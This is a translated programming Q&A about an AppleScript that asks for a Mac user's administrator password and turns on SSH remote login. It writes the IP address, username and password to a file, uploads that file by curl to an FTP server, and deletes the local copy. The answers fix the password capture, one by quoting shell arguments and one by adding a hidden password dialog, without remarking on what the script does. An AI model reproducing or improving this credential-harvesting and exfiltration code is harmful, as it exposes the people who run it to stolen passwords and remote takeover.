我试图将3个变量传递给发送到服务器的文本文件,但是我的一个变量(pword)没有被发送。
以下是我的代码:
set pword to do shell script "echo" with administrator privileges
##Enable remote login
do shell script "launchctl load -w /System/Library/LaunchDaemons/ssh.plist" user name (short user name of (system info)) password pword with administrator privileges
##Get ip
set tIP to do shell script "ifconfig en0|grep 'inet '|cut -d ' ' -f 2"
##Get username
set userName to short user name of (system info)
##Create text file with user data
do shell script "echo " & tIP & userName & pword & ">> /Users/" & userName & "/Documents/tests.txt"
##Create path where user data is stored
set thePath to "/Users/" & userName & "/Documents/tests.txt"
##Send the data to the server
do shell script "curl -T " & thePath & " ftp://username:password@server"
##Delete the text file
do shell script "rm /Users/" & userName & "/Documents/tests.txt"
知道为什么只有userName和tIP被写入文本文件而不是pword?
感谢。
答案 0 :(得分:1)
当你向shell发送东西时,你必须引用它们以确保它们作为一个整体被发送...以防它们有空格或其他东西,其中shell将它们误认为是单独的而不是整体。所以我会尝试这个...
do shell script "echo " & quoted form of (tIP & userName & pword) & " >> " & quoted form of ("/Users/" & userName & "/Documents/tests.txt")
请注意,您的其他一些代码也会受益于“引用形式”,以确保您的代码能够适应未来发展。无论是否需要,使用它都是很好的编码实践。
答案 1 :(得分:1)
要获取密码,您应该使用:
set pword to text returned of (display dialog "Enter Password:" default answer "" with hidden answer)
Bash很棒,但是除非你打算把这个整个事情做成一个bash脚本(它看起来你已经完成了),你也可以使用一些AppleScript的特权。